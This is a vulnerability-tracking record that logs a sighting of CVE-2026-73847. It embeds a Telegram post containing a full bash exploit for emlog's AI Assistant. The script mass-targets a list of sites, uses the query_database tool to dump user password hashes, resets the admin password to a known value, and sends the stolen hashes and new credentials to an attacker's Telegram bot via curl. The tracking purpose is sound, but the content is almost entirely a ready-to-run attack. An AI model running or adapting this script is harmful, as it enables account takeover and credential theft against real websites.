{"uuid": "160066cc-588e-4662-b1e7-0b27abde4bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/blackmrkt1337ch/1915", "content": "Emlog PoC by HanzOFC\n\n   \u2014\u2014-> Good Luck\n\n#!/usr/bin/env bash\n# CVE-2026-73847 - emlog AI Assistant CSRF -> SQL execution -> admin takeover\n# Mass Target & Telegram Notification Version (Config Inside Script)\n# Usage: ./poc_mass_tele.sh targets.txt admin ''\n# Create by HanzOFC\n# Telegram : @xpenzzz // YouTube : @HanzOFC1337\n\nset -uo pipefail\n\n# CONFIG TELEGRAM\n# ^^^\nTELEGRAM_BOT_TOKEN=\"Your token\"\nCHAT_ID=\"Your ID\"\n# ^^^\n\nTARGET_FILE=\"${1:?usage: $0 targets.txt admin_user admin_pass}\"\nUSER=\"${2:?usage: $0 targets.txt admin_user admin_pass}\"\nPASS=\"${3:?usage: $0 targets.txt admin_user admin_pass}\"\n\nNEWPASS_HASH='$P$BMHfYr.J6nlfVxloh38biIBNFq8fvF1'   # PHPass hash for \"HackedByPoC123!\"\n\nsend_telegram() {\n    local message=\"$1\"\n    curl -s -X POST \"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\" \\\n        -d \"chat_id=${CHAT_ID}\" \\\n        -d \"text=${message}\" \\\n        -d \"parse_mode=Markdown\" > /dev/null\n}\n\nif [ ! -f \"$TARGET_FILE\" ]; then\n    echo \"[-] Target file $TARGET_FILE not found!\"\n    exit 1\nfi\n\nsend_telegram \"\ud83d\ude80 *Start Mass PoC CVE-2026-73847*...\"\n\nwhile IFS= read -r TARGET; do\n\n    [[ -z \"$TARGET\"  \"$TARGET\" =~ ^# ]] && continue\n\n    echo \"[*] Processing target: ${TARGET}\"\n    COOKIE_JAR=$(mktemp)\n    ATTACKER_JAR=$(mktemp)\n    \n    AUTH_RES=$(curl -s -c \"$COOKIE_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=${PASS}\" -d \"resp=json\")\n\n    DUMP_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode 'params={\"sql\":\"SELECT uid, username, password AS pwd_hash FROM user\"}')\n\n    UPDATE_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode \"params={\\\"sql\\\":\\\"UPDATE user SET password='${NEWPASS_HASH}' WHERE uid=1\\\"}\" \\\n      --data-urlencode \"confirm_code=confirm\")\n\n    FINAL_RES=$(curl -s -c \"$ATTACKER_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=HackedByPoC123!\" -d \"resp=json\")\n\n    if echo \"$FINAL_RES\" | grep -q '\"code\":1'  echo \"$FINAL_RES\" | grep -q 'success'; then\n        TELEGRAM_MSG=\"*SUCCESS: Target Compromised!*\\n\\n*Target:* \\`${TARGET}\\`\\n*New Password:* \\`HackedByPoC123!\\`\\n\\n*Hash Dump Result:*\\n\\`\\`\\`json\\n${DUMP_RES}\\n\\`\\`\\`\"\n    else\n        TELEGRAM_MSG=\"\u274c *FAILED:* \\`${TARGET}\\`\\nResponse: ${FINAL_RES}\"\n    fi\n\n    send_telegram \"$TELEGRAM_MSG\"\n\n    rm -f \"$COOKIE_JAR\" \"$ATTACKER_JAR\"\n\ndone < \"$TARGET_FILE\"\n\nsend_telegram \"Exploit End\"\necho \"[*] Done. Exploit Success.\"", "creation_timestamp": "2026-08-28T04:00:05.417840Z"}